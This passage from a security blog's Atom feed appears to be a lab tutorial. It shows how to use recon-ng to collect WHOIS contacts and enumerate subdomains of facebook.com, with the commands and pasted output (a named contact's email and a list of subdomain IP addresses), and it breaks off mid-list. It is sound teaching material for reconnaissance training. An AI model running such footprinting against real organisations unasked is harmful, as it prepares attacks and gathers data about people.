&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/3654159941049644153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/08/local-and-foreign-address-using-netstat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3654159941049644153'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/3654159941049644153'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/08/local-and-foreign-address-using-netstat.html' title='Local and Foreign Address using netstat '/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6qXIdt8M7ne73qqXKYbj6qby5dwj89lsYgcsUeeYBs-kFk5lpWIoNGMqx8IYqHgAljCDVbtOJvwglEs3oV-0u9TP_EvUtJ5PR6RGSmgYoScVS5MzHB1vTfEFXKroHlJ-wwsWV481GyR3KRjHyti_jyz5xbbTaNWDJMQBbcDkGXUcxXphDzupaHhQT_EMS/s72-w640-h360-c/netstat.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-8494914880811899410</id><published>2023-08-13T14:24:00.002-07:00</published><updated>2023-08-13T14:24:31.945-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CEH v10 Footprinting and Reconnaissance"/><category scheme="http://www.blogger.com/atom/ns#" term="Cyber Security"/><title type='text'>The ultimate goal of finding WHOIS information with Recon-ng</title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1920&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcBW0PPcZ0eZoXL7XJ9I23BVToBgS5bp5uisbz_TWTjRuunWB007YcX1EKKvM7QAikH-MgyDRHvUDHl4MMud7xjy4ETnV1NCfjN0oLx0_0FkTOZ6pW3TQa0T3u41wvA6bDBlbf87YYbKU0BVQ4hv_7w3JKLuHoGi_W7ZOFDKg8z2ZdJwPRvsH4ezmH3j40/w640-h360/recon-ng.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  The ultimate goal of finding WHOIS information on a target domain-name with
  Recon-ng
&lt;/h4&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;b&gt;&lt;i&gt;WHOIS&lt;/i&gt;&lt;/b&gt; information can consist of &lt;i&gt;&lt;b&gt;location&lt;/b&gt;&lt;/i&gt;, &lt;b&gt;&lt;i&gt;registration&lt;/i&gt;&lt;/b&gt; and expire dates, contact information (email,
  phone numbers, etc.) and more about &lt;b&gt;&lt;i&gt;domain-name&lt;/i&gt;&lt;/b&gt;. The purpose of this lab is to use&lt;i&gt;&lt;b&gt; recon-ng&lt;/b&gt;&lt;/i&gt; to automate the
  discovery of this information&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Starting, in this lab actual we
  are using &lt;b&gt;&lt;i&gt;kali linux&lt;/i&gt;&lt;/b&gt; and you can also use this on dual boot or
  virtual machine. So, as a &lt;b&gt;&lt;i&gt;root user&lt;/i&gt;&lt;/b&gt;, open a terminal and type.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;recon-ng&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;b&gt;Privilege Escalation SUID -
    &lt;a href=&quot;https://www.hackingtruth.in/2023/01/privilege-escalation-suid.html&quot; target=&quot;_blank&quot;&gt;TRY THIS
    &lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyp1svaQPY-Nnsx2mhVOIpqc6MTAH95kKYkbsICfrb2iku9iH_LiJTPy76EP8h77StvIPdWNh1TXvcAoGKNH_SQAs-Ah6OuE-K03fMd2mHtwI6c6gOFT2t8Xs0BhjwbnoVgH0eLZy-Pv8E1KUgWH3Odp0Ma3A6Zq4GKD7kGv7IbixOFuLATmJ2EKr1HA/s639/suid.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;376&quot; data-original-width=&quot;639&quot; height=&quot;376&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyp1svaQPY-Nnsx2mhVOIpqc6MTAH95kKYkbsICfrb2iku9iH_LiJTPy76EP8h77StvIPdWNh1TXvcAoGKNH_SQAs-Ah6OuE-K03fMd2mHtwI6c6gOFT2t8Xs0BhjwbnoVgH0eLZy-Pv8E1KUgWH3Odp0Ma3A6Zq4GKD7kGv7IbixOFuLATmJ2EKr1HA/w640-h376/suid.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;503&quot; data-original-width=&quot;818&quot; height=&quot;394&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3uzqFqNmX681KueteXyPLus3Y3pV6pXS5d8XizVHeuLHEJ6_07uDS7vftB7pUC5t5zI0La63U-4JwQnRX_vFNDGupxP_DAIzs9rQdqV52T5UiuHMajiGxxI841ZizIbGXX9JPO96px_IWVz-q9BKubtndRJInOMmIYeil0zfAzLn99q2qFBRBoUzR8wqo/w640-h394/31.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;b&gt;&lt;i&gt;recon-ng &lt;/i&gt;&lt;/b&gt;offers the opportunity for users to create different
  workstations based on their project needs. For this lab, we will be gathering
  WHOIS information. So, create a new lab by typing the following:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;workspaces create whois_recon&lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  We will begin by gathering WHOIS information about a target domain-name. Since
  WHOIS information is available to anyone, it is ok to do this for any domain.
  The domain we will be targeting is, once again, “facebook.com”, but you can do
  this lab for any other domain you wish.&lt;br /&gt;&lt;br /&gt;We will need to install
  modules from the marketplace to search for WHOIS information. We will begin by
  searching WHOIS for all related information regarding a target site. To do
  this, we first need to install the WHOIS search module. To do this, type:
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;b&gt;marketplace search whois&lt;/b&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;br /&gt;&lt;b&gt;We want to install the fourth option&lt;/b&gt;, which is
  “&lt;b&gt;recon/domains-contacts/whois_pocs&lt;/b&gt;”. To do this, type:
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;829&quot; height=&quot;232&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigsSFa2VUt_q_L7HltMWNFnmV0Ax09VnoAy-zHYMy-P5lCN8bBZ-lEVuJFV6nC0Et9C95_H6I6zetlrGyZCC6WfTnM4fee0gcZNlUdL-ejmUm0X8tjhOFufDYtmrZD7kK8PHgYNwb798nFj-EXKqvkZHveZ5wOn0gIodU0w0G3UgerRWcrR8vNT4y91mS5/w640-h232/32.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;b&gt;marketplace install recon/domains-contacts/whois_pocs&lt;/b&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;299&quot; data-original-width=&quot;842&quot; height=&quot;229&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPlxOlN-r5vZig5BWGNM9nbMI41tiSTm2LGF5TxlztC6FRmzYlqYBHYngwQT5k9WUUz1h-k70NYFW7qO-nryzZgSl1KLEr6d8tKIGMLmBhELe9BdNiCCRK-SjQNPhOkSi5HlrdEy8s-VGjEP_gF798T5XWbSf4wCP--NlNERVC_F59s-LzKKQYU2HB3o0n/w640-h229/33.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--feb-2023--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;9637714071&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  To begin searching, we first need to set the source by typing:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;options set SOURCE facebook.com &lt;/b&gt;or&lt;b&gt; hackingtruth.org&lt;/b&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;To load the module for use, type:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;modules load recon/domains-contacts/whois_pocs&lt;/b&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;402&quot; data-original-width=&quot;864&quot; height=&quot;298&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhYcIrD_nQ7x-BXGzZtWEm2RxhKlP5Ny01yFiI3EuK88rIzpaPbJ4PTP8S95SZV2lTilpN2-E683N-OsIhBK2eLwkVD8mOxXwU86pBgVeaiXtii5nP5o7wwe6roVcRbE3USWoSO00CvE00-P7HBDlFd_qiEWkOVQ8ooG4HsAE6zJwmBofDRJZrkLYII22_/w640-h298/34.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  Then, to see information about this module and how it is used, type
  “&lt;b&gt;info&lt;/b&gt;” and hit enter.&lt;br /&gt;&lt;br /&gt;We are now ready to search
  &lt;i&gt;&lt;b&gt;WHOIS&lt;/b&gt;&lt;/i&gt; for information regarding “&lt;b&gt;facebook.com&lt;/b&gt;”. Simply
  type “&lt;b&gt;run&lt;/b&gt;” and hit enter to begin the search.&lt;br /&gt;&lt;br /&gt;As you will
  see, various contact and location information will show up for
  &lt;i&gt;facebook.com&lt;/i&gt;. This information will be automatically saved in our
  workstation.&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;603&quot; data-original-width=&quot;692&quot; height=&quot;558&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgU7Ll-7CcnY32AZyjKaCfgzLg6HteLeFYcEv9rmASO6d373LoMw5-vWUGvnTZFZXrKtRicXRxOkWmbbqwoLqe1Bd4v3GxbrF_kNp5mrITKRcHtGwtNKOo6A0Iy1Vxlrh1P4On3pXrN4ylFdH130SCNx_TdCqt_LQfVv3HVmnNKl845AdvFpEb2OxIuLE21/w640-h558/35.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;[recon-ng][whois_recon][whois_pocs] &amp;gt; 
[recon-ng][whois_recon][whois_pocs] &amp;gt; 
[recon-ng][whois_recon][whois_pocs] &amp;gt; 
[recon-ng][whois_recon][whois_pocs] &amp;gt; run

------------
FACEBOOK.COM
------------
[*] URL: http://whois.arin.net/rest/pocs;domain=facebook.com
[*] URL: http://whois.arin.net/rest/poc/BST184-ARIN
[*] Country: United States
[*] Email: bstout@facebook.com
[*] First_Name: Brandon
[*] Last_Name: Stout
[*] Middle_Name: None
[*] Notes: None
[*] Phone: None
[*] Region: Chicago, IL
[*] Title: Whois contact
[*] --------------------------------------------------
[*] URL: http://whois.arin.net/rest/poc/OPERA82-ARIN
[*] Country: United States
[*] Email: domain@facebook.com
[*] First_Name: None
[*] Last_Name: Operations
[*] Middle_Name: None
[*] Notes: None
[*] Phone: None
[*] Region: Menlo Park, CA
[*] Title: Whois contact
[*] --------------------------------------------------

-------
SUMMARY
-------
[*] 2 total (2 new) contacts found.
[recon-ng][whois_recon][whois_pocs] &amp;gt; 
&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Discover Subdomains&lt;/h4&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;br /&gt;&lt;br /&gt;Now, we will attempt to discover as many subdomains as possible
  using our target like with their &lt;b&gt;&lt;i&gt;IPv4&lt;/i&gt;&lt;/b&gt; address for f&lt;i&gt;acebook.com &lt;/i&gt;or&amp;nbsp; &lt;i&gt;hackingtruth.org&lt;/i&gt;, using &lt;b&gt;&lt;i&gt;API&lt;/i&gt;&lt;/b&gt;. We will need to import the &quot;&lt;i&gt;&lt;b&gt;hackertarget&lt;/b&gt;&lt;/i&gt;&quot; &lt;i&gt;&lt;b&gt;module&lt;/b&gt;&lt;/i&gt;, as we did previously for &lt;i&gt;whois_pocs&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Before we do this,
  you should first type “&lt;b&gt;back&lt;/b&gt;” and press enter to quit out of the
  &lt;i&gt;whois_pocs&lt;/i&gt; &lt;i&gt;module&lt;/i&gt;. We will begin by searching the marketplace
  for “&lt;b&gt;hackertarget&lt;/b&gt;” modules using:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;marketplace search hackertarget&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Only one option should show, which is
  “&lt;b&gt;recon/domains-hosts/hackertarget&lt;/b&gt;”. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPWlrnOsq4kMeXNGwVq0EdxLdQo4ji1gfYXKSkaEU_cOM07e8pVmgv9NXyt2tSnJ_-Ykgdn7jj6ZGUjzTyTKJkv2Tte40OEURlPX7f2khdhqEyD8hwS9HTgYUsSJswxfi-SvVvEMiwkiFJ8DtOBrXlyADJUAXqfbvwZGemqiySfMYCwEDFKQSMaQ_60x4q/s791/36.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;273&quot; data-original-width=&quot;791&quot; height=&quot;220&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPWlrnOsq4kMeXNGwVq0EdxLdQo4ji1gfYXKSkaEU_cOM07e8pVmgv9NXyt2tSnJ_-Ykgdn7jj6ZGUjzTyTKJkv2Tte40OEURlPX7f2khdhqEyD8hwS9HTgYUsSJswxfi-SvVvEMiwkiFJ8DtOBrXlyADJUAXqfbvwZGemqiySfMYCwEDFKQSMaQ_60x4q/w640-h220/36.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;7752134372&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  &lt;b&gt;marketplace install recon/domains-hosts/hackertarget&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We then want to load the module using:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;modules load recon/domains-hosts/hackertarget&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We are now ready to begin searching HackerTarget for
  subdomain information regarding Facebook. First, set the source by typing:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;options set SOURCE facebook.com&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want to see some information around what this module
  is used for and how, simply type “&lt;b&gt;info&lt;/b&gt;” and hit enter.&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;81&quot; data-original-width=&quot;705&quot; height=&quot;74&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguDhYEoFPV95Q_1bIUfs2ddBiZgoTmbueaFWKtlzBsJa5KUhfloz5IM1SE7V40_t4cV1uMJ3bdN9XrYpUJl_28uc2BfXyXrP46B1KSxY4rXGxsxvEfmS3IEssnt--UMUokN7wV2A7kncLi6vkXytNcgTVQucmsmGsM5FoeElg61Kp56-D11-_T91PeU49A/w640-h74/37.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&amp;nbsp;&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;405&quot; data-original-width=&quot;787&quot; height=&quot;330&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifLDRVHQshlb5FVARUoOAR5UXJClXdyhNjD__yLUE4c7cooWCogRy20e1dg9pQnKhkdr58GWi6aFcfESz5-gi-6enKXbkPqpjEJYlzKh9zLO5_sDQcqXBCsjVM8OBI-HOMWjOasu29LaDnsEaUKj4w5z-gfSA0RbXO4dHMfSbVOmDpnZELhVu7uMLuKRxq/w640-h330/38.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;
  Once this is done, type “&lt;b&gt;run&lt;/b&gt;” and hit enter. You will notice a list of
  various subdomains associated with &lt;i&gt;&lt;b&gt;facebook.com&lt;/b&gt;&lt;/i&gt; showing.&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://www.kumaratuljaiswal.in/&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; border=&quot;0&quot; data-original-height=&quot;694&quot; data-original-width=&quot;804&quot; height=&quot;552&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4dYgl5ASfL7lPOyZhXNEDAgbiqyYnuKfQeIceIYFeDfJMalCCEM4E6wPcRC9q8y-b2QZ-cig5JIAUzw8MvNI1IWu6Hrxy97l8PkcEyLrOAXHb5W03fPVX3Fc-nPxtq_aVmm64Se1qL46LN6kFu7xo_47ovoQS8NgPBrW-F109c72aZOUx0re-Mevom09t/w640-h552/39.png&quot; title=&quot;The ultimate goal of finding WHOIS information with Recon-ng&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;5920726694&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;[recon-ng][whois_recon][hackertarget] &amp;gt; 
[recon-ng][whois_recon][hackertarget] &amp;gt; 
[recon-ng][whois_recon][hackertarget] &amp;gt; options set SOURCE facebook.com
SOURCE =&amp;gt; facebook.com
[recon-ng][whois_recon][hackertarget] &amp;gt; run

------------
FACEBOOK.COM
------------
[*] Country: None
[*] Host: facebook.com
[*] Ip_Address: 157.240.254.35
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: experiment-dns-science-1200.facebook.com
[*] Ip_Address: 66.220.152.19
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: experiment-dns-science-300.facebook.com
[*] Ip_Address: 66.220.152.19
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: experiment-dns-science-600.facebook.com
[*] Ip_Address: 66.220.152.19
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-rfrc0.facebook.com
[*] Ip_Address: 173.252.127.252
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-rash0.facebook.com
[*] Ip_Address: 69.171.252.252
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: msgin-regional-shv-01-rash0.facebook.com
[*] Ip_Address: 69.171.251.251
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-rprn0.facebook.com
[*] Ip_Address: 66.220.149.254
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: msgin-regional-shv-01-rprn0.facebook.com
[*] Ip_Address: 66.220.149.251
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: headers-shv-00-ratn0.facebook.com
[*] Ip_Address: 173.252.95.252
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: msgin-regional-shv-01-rftw0.facebook.com
[*] Ip_Address: 173.252.87.251
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-1-bgp-01-mba1.facebook.com
[*] Ip_Address: 102.132.96.199
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: edge-fwdproxy-2-bgp-01-mba1.facebook.com
